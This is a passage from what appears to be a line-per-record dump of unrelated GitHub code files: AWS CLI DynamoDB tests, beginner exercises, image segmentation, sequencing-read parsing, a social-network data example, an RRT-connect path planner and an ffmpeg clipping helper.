self.operations_called[1][1]\n num_items = len(second_params['RequestItems']['mytable'])\n self.assertEqual(num_items, 16)\n\n third_params = self.operations_called[2][1]\n num_items = len(third_params['RequestItems']['mytable'])\n self.assertEqual(num_items, 1)\n\n def test_put_with_condition(self):\n command = [\n 'ddb', 'put', 'mytable', '{foo: bar}',\n '--condition', 'attribute_exists(foo)',\n ]\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'ConditionExpression': 'attribute_exists(#n0)',\n 'ExpressionAttributeNames': {'#n0': 'foo'},\n 'Item': {\"foo\": {\"S\": \"bar\"}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n\n def test_batch_write_with_condition(self):\n command = [\n 'ddb', 'put', 'mytable', '[{foo: bar}, {foo: bar}]',\n '--condition', 'attribute_exists(foo)',\n ]\n _, stderr, _ = self.assert_params_for_cmd(command, expected_rc=252)\n self.assertIn('--condition is not supported', stderr)\n\n def test_load_items_from_file(self):\n filename = os.path.join(self.tempdir, 'items.yml')\n with open(filename, 'w') as f:\n f.write('{foo: bar}\\n')\n\n command = ['ddb', 'put', 'mytable', 'file://%s' % filename]\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"S\": \"bar\"}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n\n def test_load_items_from_stdin(self):\n command = ['ddb', 'put', 'mytable', '-']\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"S\": \"bar\"}},\n }\n with capture_input(b'{foo: bar}'):\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n\n def test_put_bytes(self):\n command = ['ddb', 'put', 'mytable', '{foo: !!binary \"4pyT\"}']\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"B\": b'\\xe2\\x9c\\x93'}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n\n def test_put_int(self):\n command = ['ddb', 'put', 'mytable', '{foo: 1}']\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"N\": \"1\"}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n\n def test_put_float(self):\n command = ['ddb', 'put', 'mytable', '{foo: 1.1}']\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"N\": \"1.1\"}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n","repo_name":"jamsheedsaeed/awsapp","sub_path":"tests/functional/ddb/test_put.py","file_name":"test_put.py","file_ext":"py","file_size_in_byte":7626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35387435995","text":"s1 = int(input('1º lado: '))\r\ns2 = int(input('2º lado: '))\r\ns3 = int(input('3º lado: '))\r\n\r\nif s1 < s2 + s3 and s2 < s1 + s3 and s3 < s1 + s2:\r\n print('É um triangulo')\r\n if s1 == s2 == s3:\r\n print('EQUILATERO')\r\n elif s1 != s2 != s3 != s1:\r\n print('ESCALENO')\r\n else:\r\n print('ISOSCELES')\r\nelse:\r\n print('Não é um triangulo')","repo_name":"jeanlezy/Python_fev_2021","sub_path":"Exercicios de Treino/ex_triangulov2.py","file_name":"ex_triangulov2.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36378744189","text":"# Importing necessary packages\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nplt.close()\n\n\n# Trying different color spaces to find best color channel.\ndef preprocess_input(path):\n image = cv2.imread(path)\n\n if image is None:\n return -1\n\n img_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n # plt.imshow(img_rgb)\n # plt.show()\n\n img_lab = cv2.cvtColor(image, cv2.COLOR_BGR2LAB)\n # plt.imshow(img_lab)\n # plt.show()\n\n img_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n # plt.imshow(img_hsv)\n # plt.show()\n\n R = img_rgb[:, :, 0]\n G = img_rgb[:, :, 1]\n B = img_rgb[:, :, 2]\n\n L = img_lab[:, :, 0]\n a = img_lab[:, :, 1]\n b = img_lab[:, :, 2]\n\n H = img_hsv[:, :, 0]\n S = img_hsv[:, :, 1]\n V = img_hsv[:, :, 2]\n\n pixel_vals = b.flatten()\n pixel_vals = np.float32(pixel_vals)\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0)\n # Since we are interested in only actual leaf pixels, we choose 2 clusters\n # one cluster for actual leaf pixels and other for unwanted background pixels.\n K = 2\n centroids = np.array([[55], [175]]).astype(np.int32)\n centroid_labels = np.random.randint(K, size=pixel_vals.shape, dtype=np.int32)\n\n retval, labels, centers = cv2.kmeans(data=pixel_vals,\n K=K,\n bestLabels=centroid_labels,\n criteria=criteria,\n attempts=10,\n flags=cv2.KMEANS_USE_INITIAL_LABELS,\n centers=centroids)\n\n # retval, labels, centers = cv2.kmeans(pixel_vals, K, None, criteria, 10, cv2.KMEANS_PP_CENTERS)\n\n centers = np.uint8(centers)\n\n segmented_data = centers[labels.flatten()]\n segmented_image = segmented_data.reshape((b.shape))\n pixel_labels = labels.reshape(img_lab.shape[0], img_lab.shape[1])\n # displaying segmented image\n # segmented_image = cv2.cvtColor(segmented_image, cv2.COLOR_GRAY2RGB)\n # print(\"Pixel Labels\", pixel_labels)\n count_nonzero = np.count_nonzero(pixel_labels)\n count_zero = pixel_labels.size - count_nonzero\n # print(\"Non-Zero\", count_nonzero)\n # print(\"Zero\", count_zero)\n plt.imshow(pixel_labels)\n plt.show()\n\n # Doing this, some unwanted pixels that are clustered in main cluster can be avoided.\n # Ref - https://docs.opencv.org/3.4/d3/dc0/group__imgproc__shape.html#gac2718a64ade63475425558aa669a943a\n pixel_labels = np.uint8(pixel_labels)\n ret, components = cv2.connectedComponents(pixel_labels, connectivity=8)\n # plt.imshow(components, cmap='gray')\n # plt.show()\n\n indices = []\n for i in range(1, ret):\n row, col = np.where(components == i)\n indices.append(max(len(row), len(col)))\n component = np.argmax(np.array(indices))\n main_component = component + 1 # indexing starts from 0, so we increment by 1 to get actual component index\n # creating a mask and extracting pixels corresponding to cluster to which leaf belongs.\n # 1 for actual leaf pixels and 0 for other pixels\n\n # mask = np.where(components == main_component, 1, 0)\n if count_nonzero < count_zero:\n mask = np.where(components == main_component, 1, 0)\n else:\n mask = np.where(components == main_component, 0, 1)\n\n B = image[:, :, 0]\n G = image[:, :, 1]\n R = image[:, :, 2]\n # Extract only masked pixels\n r = R * mask\n g = G * mask\n b = B * mask\n final_img = np.dstack((r, g, b))\n\n return final_img\n","repo_name":"mehathab-a/Projects-2","sub_path":"Segmentation and Augmentation of Leaves/segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28828906643","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n #inorder traversal: traverse left, root, right\n #recursive solution\n# res = []\n \n# def inorder(node, res):\n# if not node:\n# return\n# inorder(node.left, res)\n \n# res.append(node.val)\n \n# inorder(node.right, res)\n \n# return res\n \n# return inorder(root, res)\n \n #iterative solution\n \n res = []\n stack = []\n curr = root\n \n while curr or stack:\n while curr:\n stack.append(curr)\n curr = curr.left\n \n curr = stack.pop()\n res.append(curr.val)\n curr = curr.right\n \n return res","repo_name":"kat-jiang/coding-challenges","sub_path":"94-binary-tree-inorder-traversal/94-binary-tree-inorder-traversal.py","file_name":"94-binary-tree-inorder-traversal.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26739521778","text":"from fixtures.constants import ResponseText\nfrom fixtures.store.model import Store\nfrom fixtures.common_models import MessageResponse\n\n\nclass TestGetStore:\n def test_get_store(self, app, get_store_name):\n \"\"\"\n 1. Try to get store\n 2. Check the status code is 200\n 3. Check response\n \"\"\"\n res = app.store.get_store(\n name=get_store_name.store_name, header=get_store_name.header\n )\n assert res.status_code == 200, \"Check status code\"\n\n def test_get_store_with_none_exist_name(self, app, user_info):\n \"\"\"\n 1. Try to get store with none exist name\n 2. Check that status code is 404\n 3. Check response\n \"\"\"\n data = Store(\"Test12345\")\n res = app.store.get_store(\n data.name, header=user_info.header, type_response=MessageResponse\n )\n assert res.status_code == 404, \"Check status code\"\n assert res.data.message == ResponseText.MESSAGE_STORE_NOT_FOUND\n","repo_name":"Twilighters/api_tests_pytest_requests","sub_path":"tests/store/test_get_store.py","file_name":"test_get_store.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28919177747","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 26 13:21:22 2020\r\n\r\n@author: s4426986\r\n\r\nUse regex to find the flanking regions of UMIs (6x/8x) and the library \r\ninsert (XXX)7. UMIs and inserts are added to their respective dic (only\r\nunique UMIs and inserts, i.e. all keys in dic have value 1, not a tally).\r\n\r\nWorks with the reads from a single barcoded sample (text file, just reads)\r\n\r\nA translate function is used to translate the inserts into their peptide \r\n(7 aa) sequence and added to the peptide_dictionary \r\n\r\nDue to known indels in MinION reads (usually 1-3 bases), a list is used \r\nto filter for random sequences of roughly the expected length (i.e. 6, 8 and 21). \r\nThis filters extremely long/short sequences from the dictionaries, and is more \r\nlenient than exact matching. To make filtering more stringent, change the list\r\nto select for exact length matches only.\r\n\r\nAt the end, the script reports the normalised numbers of UMIs, inserts and peptides.\r\nNormalised = divided by number of reads in sample\r\n\r\n\"\"\"\r\n\r\n\r\n\r\nimport re\r\n# import csv\r\n\r\n\r\n#function to reverse complement sequences, where for_or_r of oligo = 'r'\r\ndef ReverseComplement(oligo):\r\n seq_dict = {'A':'T','T':'A','G':'C','C':'G', 'a':'t', 't':'a', 'c':'g', 'g':'c', 'N':'N'}\r\n return (str(\"\".join([seq_dict[base] for base in reversed(oligo)])))\r\n\r\ndef file_len(fname):\r\n with open(fname) as f:\r\n for i, l in enumerate(f):\r\n pass\r\n return i + 1\r\n\r\ndef translate(seq): \r\n \r\n table = { \r\n 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', \r\n 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', \r\n 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', \r\n 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', \r\n 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', \r\n 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', \r\n 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', \r\n 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', \r\n 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', \r\n 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', \r\n 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', \r\n 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', \r\n 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', \r\n 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', \r\n 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', \r\n 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W', \r\n } \r\n protein =\"\" \r\n if len(seq)%3 == 0: \r\n for i in range(0, len(seq), 3): \r\n codon = seq[i:i + 3] \r\n protein+= table[codon] \r\n return protein \r\n\r\n\r\njust_reads=\"good_reads_just_reads.txt\"\r\n\r\numi_dictionary={}\r\numi_length_dictionary={}\r\ninsert_dictionary={}\r\ninsert_length_dictionary={}\r\n\r\n## 1-, 2- and 3-base indels common in MinION reads\r\nallow_umiLength=[8] #ideally just 6x and 8x\r\nallow_insertLength=[21] #ideally just 21x \r\n\r\nfor line in open(just_reads):\r\n s=line\r\n result1= re.search('ACACTGACGACATGGTTCTACA(.*)GTATG',s) #umi in sense strand\r\n # result2= re.search('CCATA(.*)TGTAG',s) #umi in antisense strand\r\n result3= re.search('CCGCA(.*)ACAAG',s) #insert in sense strand\r\n # result4= re.search('CTTGT(.*)TGCGG',s) #insert in antisense strand\r\n if result1:\r\n umi_pattern=result1.group(0)\r\n umi=umi_pattern[22:-5]\r\n umi_length=len(umi)\r\n print(umi_pattern)\r\n print(umi)\r\n print(umi_length)\r\n \r\n if umi not in umi_dictionary and len(umi) in allow_umiLength:\r\n umi_dictionary[umi]=1\r\n elif umi in umi_dictionary and len(umi) in allow_umiLength:\r\n umi_dictionary[umi]+=1\r\n else:\r\n pass\r\n \r\n if umi_length not in umi_length_dictionary:\r\n umi_length_dictionary[umi_length]=1\r\n elif umi_length in umi_length_dictionary:\r\n umi_length_dictionary[umi_length]+=1\r\n \r\n # elif result2:\r\n # umi_pattern2=result2.group(0)\r\n # print(umi_pattern2)\r\n # umi2=ReverseComplement(umi_pattern2[5:-5]) #REVCOMP and check in dic\r\n # print(umi2)\r\n \r\n # if umi2 not in umi_dictionary and len(umi2) in umiLength:\r\n # umi_dictionary[umi2]=1\r\n # # elif umi2 in umi_dictionary and len(umi2) in umiLength:\r\n # # umi_dictionary[umi2]+=1\r\n # else:\r\n # pass\r\n \r\n elif result3:\r\n insert_pattern=result3.group(0)\r\n insert=insert_pattern[5:-5]\r\n insert_length=len(insert)\r\n print(insert_pattern)\r\n print(insert)\r\n print(insert_length)\r\n \r\n \r\n if insert not in insert_dictionary and len(insert) in allow_insertLength:\r\n insert_dictionary[insert]=1\r\n elif insert in insert_dictionary and len(insert) in allow_insertLength:\r\n insert_dictionary[insert]+=1\r\n else:\r\n pass\r\n \r\n if insert_length not in insert_length_dictionary:\r\n insert_length_dictionary[insert_length]=1\r\n elif insert_length in insert_length_dictionary:\r\n insert_length_dictionary[insert_length]+=1\r\n \r\n # elif result4:\r\n # insert_pattern2=result4.group(0)\r\n # print(insert_pattern2)\r\n # insert2=ReverseComplement(insert_pattern2[5:-5]) #REVCOMP and check in dic\r\n # print(insert2)\r\n \r\n # if insert2 not in insert_dictionary and len(insert2) in insertLength:\r\n # insert_dictionary[insert2]=1\r\n # # elif insert2 in insert_dictionary and len(insert2) in insertLength:\r\n # # insert_dictionary[insert2]+=1\r\n # else:\r\n # pass\r\n \r\n\r\n\r\nread_number= file_len(just_reads)\r\numi_per_kread= (1000*len(umi_dictionary))/read_number\r\ninsert_per_kread= (1000*len(insert_dictionary))/read_number\r\n\r\nprint('##############################################','\\n')\r\nprint(\"Number of reads: \", read_number)\r\nprint(\"UMIs per 1000 reads: \", umi_per_kread)\r\nprint(\"Unique inserts (not peptides) per 1000 reads: \", insert_per_kread)\r\n\r\n\r\npeptide_dictionary={translate(k): v for k, v in insert_dictionary.items()}\r\npeptide_unique= len(peptide_dictionary)\r\npeptide_per_kread= (1000*peptide_unique)/read_number\r\nprint(\"Unique peptides: \", peptide_unique) \r\nprint(\"Number of unique peptides per 1000 reads: \", peptide_per_kread)\r\n\r\n\r\nwith open('good_reads_umi_dic.csv', 'w') as f:\r\n for key in umi_dictionary.keys():\r\n f.write(\"%s,%s\\n\"%(key,umi_dictionary[key]))\r\n \r\n\r\n# with open('105_insert_dic.csv', 'w') as f:\r\n# for key in insert_dictionary.keys():\r\n# f.write(\"%s,%s\\n\"%(key,insert_dictionary[key]))","repo_name":"josedanielgj/Error_profiles","sub_path":"find_patterns.py","file_name":"find_patterns.py","file_ext":"py","file_size_in_byte":6623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8983049751","text":"import math\nlength_cm = 50\ndegrees_str = input(\"Roof's angle in degrees: \")\n# Convert input to integer\ndegrees_int = int(degrees_str)\n\n# Convert degrees to radians in order to use the trigonometric functions in the math module\nradians_int = math.radians(degrees_int)\n\n# Calculate the the height of the triangle\nheight_cm = length_cm*math.tan(radians_int)\nprint(\"To make the platform level, the height must be\", round(height_cm, 1), \"cm\")","repo_name":"Gummy27/Prog","sub_path":"Assignment 1/More Basic/question_4.py","file_name":"question_4.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4333476209","text":"import graph_tool.all as gs\nimport numpy as np\nimport sys\nimport pylab as pl\nimport time\nfrom matplotlib import collections as mc\nimport matplotlib.pyplot as plt\n\n\n''' This is a class that runs the RRT-connect algorithm.\n Input:\n start: 2 tuple\n goal: 2 tuple\n dimensions: int\n epsilon: float\n obstacles: list<3-tuple>\n iters: int \n Note: The actual path is not currently created by backing out from the connection.\n The algorithm terminates when a connection is made or the maximum iterations have\n been achieved. '''\n\n\nclass RRT(object):\n\n def __init__(self, start, goal, dimensions, epsilon, obstacles, iters):\n \n # Constants\n self.extend_ret = {'Reached': 0, 'Advanced':1, 'Trapped':2}\n #self.fig, self.ax = pl.subplots()\n \n # Input parameters\n self.start = start\n self.goal = goal\n \n self.epsilon = epsilon\n self.dimensions = dimensions\n self.iters = iters\n \n self.obstacles = obstacles\n \n #tree pair indicator\n self.my_trees = (0, 1)\n \n # Tree at start\n self.tree_1 = gs.Graph(directed=False)\n self.vstate_1 = self.tree_1.new_vertex_property('vector')\n self.shadow_1 = np.array([start]) #np array of coords for faster processing\n vert = self.tree_1.add_vertex()\n self.vstate_1[vert] = np.array(start) #additional array of coords\n \n # Tree at goal\n self.tree_2 = gs.Graph(directed=False)\n self.vstate_2 = self.tree_2.new_vertex_property('vector')\n self.shadow_2 = np.array([goal])\n vert = self.tree_2.add_vertex()\n self.vstate_2[vert] = np.array(goal)\n \n def add_vertex(self, coords, which):\n ''' Adds a vertex to a tree when given the coordinates and tree id '''\n \n if which == 0:\n vert = self.tree_1.add_vertex()\n self.vstate_1[vert] = np.array(coords)\n self.shadow_1 = np.append(self.shadow_1, np.array([coords]),axis=0)\n return vert\n else:\n vert = self.tree_2.add_vertex()\n self.vstate_2[vert] = np.array(coords)\n self.shadow_2 = np.append(self.shadow_2, np.array([coords]),axis=0)\n return vert\n \n \n def connect_planner(self):\n ''' Iterates through maximum number of nodes.\n A random node is selected. Then we extend the current first tree.\n We then tree to connect the second tree. '''\n \n for k in range(0, self.iters):\n q_random = (np.random.rand(self.dimensions)-0.5)*20 # Random point in space\n output = self.extend(q_random, self.my_trees[0]) # Extend tree\n if output[0] is not self.extend_ret['Trapped']:\n # Connect tree if we made a new node and return if path found \n if self.connect(output[1], self.my_trees[1]) == self.extend_ret['Reached']:\n #self.find_path()\n return\n self.swap()\n \n def connect(self, q, which):\n ''' Extends the tree toward q until it becomes trapped or \n reaches q. '''\n \n s = self.extend_ret['Advanced']\n while s == self.extend_ret['Advanced']:\n s = self.extend(q, which)[0]\n return s\n \n def collides(self, q):\n ''' Tests if a point q lies within an obstacle '''\n for obs in self.obstacles:\n if np.sum((q - obs[0:self.dimensions])**2)**(0.5) <= obs[self.dimensions]:\n return True\n return False\n \n def extend(self, q, which):\n ''' Finds the nearest neighbor in the selected graph to q.\n Then attempts to create a new point toward q that is connected\n to the nearest neighbor '''\n \n if which == 0:\n q_near = self.nearest_neighbor(q, which) #index\n q_new = self.move_to_q(q_near,q, which) #(1,...,n) point\n if (self.new_config(q_new)):\n v_new = self.add_vertex(q_new, which)\n self.tree_1.add_edge(v_new, self.tree_1.vertex(q_near))\n \n if np.equal(q_new, q).mean() == 1.0:\n return (self.extend_ret['Reached'], q_new)\n else:\n return (self.extend_ret['Advanced'], q_new)\n \n return (self.extend_ret['Trapped'], q_new)\n else:\n q_near = self.nearest_neighbor(q, which) #index\n q_new = self.move_to_q(q_near,q, which) #(1,...,n) point\n if (self.new_config(q_new)):\n v_new = self.add_vertex(q_new, which)\n self.tree_2.add_edge(v_new, self.tree_2.vertex(q_near))\n \n if np.equal(q_new, q).mean() == 1.0:\n return (self.extend_ret['Reached'], q_new)\n else:\n return (self.extend_ret['Advanced'], q_new)\n \n return (self.extend_ret['Trapped'], q_new)\n \n def move_to_q(self, q_near, q, which):\n ''' Creates a new point atleast epsilon from q_near toward q in the\n selected tree '''\n if which == 0:\n diff = q - self.vstate_1[self.tree_1.vertex(q_near)]\n dist = np.sum((diff)**2)**(0.5)\n if dist <= self.epsilon:\n return q\n else:\n delta = self.epsilon * diff / dist\n return self.vstate_1[self.tree_1.vertex(q_near)] + delta\n else:\n diff = q - self.vstate_2[self.tree_2.vertex(q_near)]\n dist = np.sum((diff)**2)**(0.5)\n if dist <= self.epsilon:\n return q\n else:\n delta = self.epsilon * diff / dist\n return self.vstate_2[self.tree_2.vertex(q_near)] + delta\n \n \n def nearest_neighbor(self, q, which):\n ''' Finds the nearest neighbor of a point q on a specified graph '''\n if which == 0:\n dist = q - self.shadow_1\n dist = np.sum((dist**2), axis=1)\n nearest = np.argmin(dist)\n return nearest\n else:\n dist = q - self.shadow_2\n dist = np.sum((dist**2), axis=1)\n nearest = np.argmin(dist)\n return nearest\n \n def new_config(self, q_new):\n ''' A point is a new configuration if it does not hit an obstacle '''\n return not self.collides(q_new)\n \n def swap(self):\n ''' Swaps the order of the trees in the tuple.'''\n self.my_trees = (self.my_trees[1], self.my_trees[0])\n \n \n def visualize(self):\n ''' Draws trees in 2D along with circular obstacles'''\n # Tree One\n lines1 = []\n for edge in self.tree_1.get_edges():\n p1 = (self.vstate_1[self.tree_1.vertex(edge[0])][0], self.vstate_1[self.tree_1.vertex(edge[0])][1])\n p2 = (self.vstate_1[self.tree_1.vertex(edge[1])][0], self.vstate_1[self.tree_1.vertex(edge[1])][1]) \n lines1.append([p1, p2])\n \n lc1 = mc.LineCollection(lines1, color=(1,0,1,1))\n \n # Tree Two\n lines2 = []\n for edge in self.tree_2.get_edges():\n p1 = (self.vstate_2[self.tree_2.vertex(edge[0])][0], self.vstate_2[self.tree_2.vertex(edge[0])][1])\n p2 = (self.vstate_2[self.tree_2.vertex(edge[1])][0], self.vstate_2[self.tree_2.vertex(edge[1])][1]) \n lines2.append([p1, p2])\n \n lc2 = mc.LineCollection(lines2, color=(1,0,0,1))\n \n self.fig, self.ax = pl.subplots()\n self.ax.clear()\n \n # Obstacles\n for circ in self.obstacles:\n circle = plt.Circle((circ[0], circ[1]), circ[2])\n self.ax.add_patch(circle)\n \n \n self.ax.add_collection(lc1)\n self.ax.add_collection(lc2)\n self.ax.set_xlim(-10, 10)\n self.ax.set_ylim(-10, 10)\n #ax.autoscale()\n self.fig.canvas.draw()\n self.fig.show()\n \n \n input('Press Enter to clear screen')\n\n\nif __name__ == '__main__':\n start = (0,0)\n goal = (7,7)\n dimensions = 2\n epsilon = 0.5\n iters = 1000\n obstacles = [(4, 4, 2), (4, 1, 2)]\n test = RRT(start, goal, dimensions, epsilon, obstacles, iters)\n test.connect_planner()\n","repo_name":"lunaab/rrt_connect","sub_path":"rrt_connect.py","file_name":"rrt_connect.py","file_ext":"py","file_size_in_byte":8472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"519502666","text":"from collections import defaultdict, Counter\nfrom typing import List, Dict, Any\n\nusers = [\n {\"id\": 0, \"name\": \"Hero\"},\n {\"id\": 1, \"name\": \"Dunn\"},\n {\"id\": 2, \"name\": \"Sue\"},\n {\"id\": 3, \"name\": \"Chi\"},\n {\"id\": 4, \"name\": \"Thor\"},\n {\"id\": 5, \"name\": \"Clive\"},\n {\"id\": 6, \"name\": \"Hicks\"},\n {\"id\": 7, \"name\": \"Devin\"},\n {\"id\": 8, \"name\": \"Kate\"},\n {\"id\": 9, \"name\": \"Klein\"}\n]\nfriendshipPairs = [(0, 1), (0, 2), (1, 2), (1, 3), (2, 3), (3, 4),\n (4, 5), (5, 6), (5, 7), (6, 8), (7, 8), (8, 9)]\nfriendShipDict: Dict[int, List[int]] = {user['id']: [] for user in users}\n\n# loop over populate friendship dict\nfor i, j in friendshipPairs:\n friendShipDict[i].append(j)\n friendShipDict[j].append(i)\n\n\ndef numberOfFriends(user):\n return len(friendShipDict[user['id']])\n\n\ntotalConnections = sum(numberOfFriends(user) for user in users)\n\nnumbFriendsById = [(user['id'], numberOfFriends(user)) for user in users]\nnumbFriendsById.sort(key=lambda pair: pair[1], reverse=True)\n\n\ndef calcFriendOfAFriend(user):\n return {friendOfFriendId for friendId in friendShipDict[user['id']]\n for friendOfFriendId in friendShipDict[friendId]\n if friendOfFriendId != user['id'] and friendOfFriendId not in friendShipDict[user['id']]}\n\n\ninterests = [\n (0, \"Hadoop\"), (0, \"Big Data\"), (0, \"HBase\"), (0, \"Java\"),\n (0, \"Spark\"), (0, \"Storm\"), (0, \"Cassandra\"),\n (1, \"NoSQL\"), (1, \"MongoDB\"), (1, \"Cassandra\"), (1, \"HBase\"),\n (1, \"Postgres\"), (2, \"Python\"), (2, \"scikit-learn\"), (2, \"scipy\"),\n (2, \"numpy\"), (2, \"statsmodels\"), (2, \"pandas\"), (3, \"R\"), (3, \"Python\"),\n (3, \"statistics\"), (3, \"regression\"), (3, \"probability\"),\n (4, \"machine learning\"), (4, \"regression\"), (4, \"decision trees\"),\n (4, \"libsvm\"), (5, \"Python\"), (5, \"R\"), (5, \"Java\"), (5, \"C++\"),\n (5, \"Haskell\"), (5, \"programming languages\"), (6, \"statistics\"),\n (6, \"probability\"), (6, \"mathematics\"), (6, \"theory\"),\n (7, \"machine learning\"), (7, \"scikit-learn\"), (7, \"Mahout\"),\n (7, \"neural networks\"), (8, \"neural networks\"), (8, \"deep learning\"),\n (8, \"Big Data\"), (8, \"artificial intelligence\"), (9, \"Hadoop\"),\n (9, \"Java\"), (9, \"MapReduce\"), (9, \"Big Data\")\n]\n\n\ndef dataScientistWhoLike(targetInterest):\n return [userId for userId, interest in interests\n if interest == targetInterest]\n\n\ninterest2users = defaultdict(list)\nfor userId, interest in interests:\n interest2users[interest].append(userId)\n\nuser2interests = defaultdict(list)\nfor userId, interest in interests:\n user2interests[userId].append(interest)\n\n\ndef most_common_interests_with(user):\n return Counter(\n interested_user_id\n for interest in user2interests[user[\"id\"]]\n for interested_user_id in interest2users[interest]\n if interested_user_id != user[\"id\"])\n\n\nsalariesAndTenures = [(83000, 8.7), (88000, 8.1),\n (48000, 0.7), (76000, 6),\n (69000, 6.5), (76000, 7.5),\n (60000, 2.5), (83000, 10),\n (48000, 1.9), (63000, 4.2)]\n\n\ndef tenureBucket(tenure: float) -> str:\n if tenure < 2:\n return \"less than two\"\n elif tenure < 5:\n return \"between two and five\"\n else:\n return \"more than five\"\n\n\nbucket2salaries = defaultdict(list)\nfor salary, tenure in salariesAndTenures:\n bucket2salaries[tenureBucket(tenure)].append(salary)\n\nbucket2avgSalary = {bucket: sum(salaries) / len(salaries) for bucket, salaries in bucket2salaries.items()}\n\ninterests = [\n (0, \"Hadoop\"), (0, \"Big Data\"), (0, \"HBase\"), (0, \"Java\"),\n (0, \"Spark\"), (0, \"Storm\"), (0, \"Cassandra\"),\n (1, \"NoSQL\"), (1, \"MongoDB\"), (1, \"Cassandra\"), (1, \"HBase\"),\n (1, \"Postgres\"), (2, \"Python\"), (2, \"scikit-learn\"), (2, \"scipy\"),\n (2, \"numpy\"), (2, \"statsmodels\"), (2, \"pandas\"), (3, \"R\"), (3, \"Python\"),\n (3, \"statistics\"), (3, \"regression\"), (3, \"probability\"),\n (4, \"machine learning\"), (4, \"regression\"), (4, \"decision trees\"),\n (4, \"libsvm\"), (5, \"Python\"), (5, \"R\"), (5, \"Java\"), (5, \"C++\"),\n (5, \"Haskell\"), (5, \"programming languages\"), (6, \"statistics\"),\n (6, \"probability\"), (6, \"mathematics\"), (6, \"theory\"),\n (7, \"machine learning\"), (7, \"scikit-learn\"), (7, \"Mahout\"),\n (7, \"neural networks\"), (8, \"neural networks\"), (8, \"deep learning\"),\n (8, \"Big Data\"), (8, \"artificial intelligence\"), (9, \"Hadoop\"),\n (9, \"Java\"), (9, \"MapReduce\"), (9, \"Big Data\")\n]\n\ninterest2count = Counter([interest for userId, interest in interests])\nprint(interest2count.most_common())\n","repo_name":"nghiemphan93/machineLearning","sub_path":"dataScienceFromScratch/FriendShip.py","file_name":"FriendShip.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70391387106","text":"import subprocess\nimport os\nimport json\nimport tkinter.filedialog as filedialog\nfrom json2gui import *\n\n\n# 需要下载ffmpeg才可以使用,windows平台\ndef intercept_video(ffmpeg_path, media_path, video_start_time, intercept_time, video_save_path):\n ffmpeg_abspath = r'\"' + os.path.abspath(ffmpeg_path).replace('/', '\\\\') + r'\"'\n media_abspath = r'\"' + os.path.abspath(media_path).replace('/', '\\\\') + r'\"'\n video_save_abspath = r'\"' + os.path.abspath(video_save_path).replace('/', '\\\\') + r'\"'\n cmd = ffmpeg_abspath + ' -y -i ' + media_abspath + ' -ss ' + video_start_time + ' -t ' + intercept_time + \\\n ' -acodec copy -vcodec copy -async 1 ' + video_save_abspath\n subprocess.call(cmd, shell=True)\n\n\ndef screen_shot(ffmpeg_path, media_path, 